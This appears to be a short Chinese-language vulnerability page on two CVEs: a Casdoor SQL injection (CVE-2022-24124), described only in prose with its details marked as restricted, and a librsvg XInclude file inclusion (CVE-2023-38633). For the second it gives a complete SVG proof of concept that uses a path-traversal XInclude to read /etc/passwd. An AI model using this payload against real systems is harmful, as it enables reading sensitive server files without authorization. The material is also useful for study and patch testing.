(CVE-2022-24124)(CVE-2023-38633)
casdoor SQL注入（CVE-2022-24124）
Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台，简单点说，就是 Casdoor 可以帮你解决 用户管理 的难题，你无需开发用户登录注册等与用户鉴权相关的一系列功能，只需几个步骤，简单配置，与你的主应用配合，便可完全托管你的用户模块，简单省心，功能强大。 Casdoor 1.13.1 之前的查询API 存在与字段和值参数相关的SQL 注入漏洞，如api/get-organizations 所示。
您没有 权限 查看此处内容！
librsvg XInclude 文件包含漏洞（CVE-2023-38633）
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" height="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" height="300" style="fill:rgb(255,255,255);" />
<text x="10" y="100"><xi:include href=".?../../../../../../../../../../etc/passwd" parse="text" encoding="UTF-8">
<xi:fallback>file not found</xi:fallback></xi:include></text></svg>
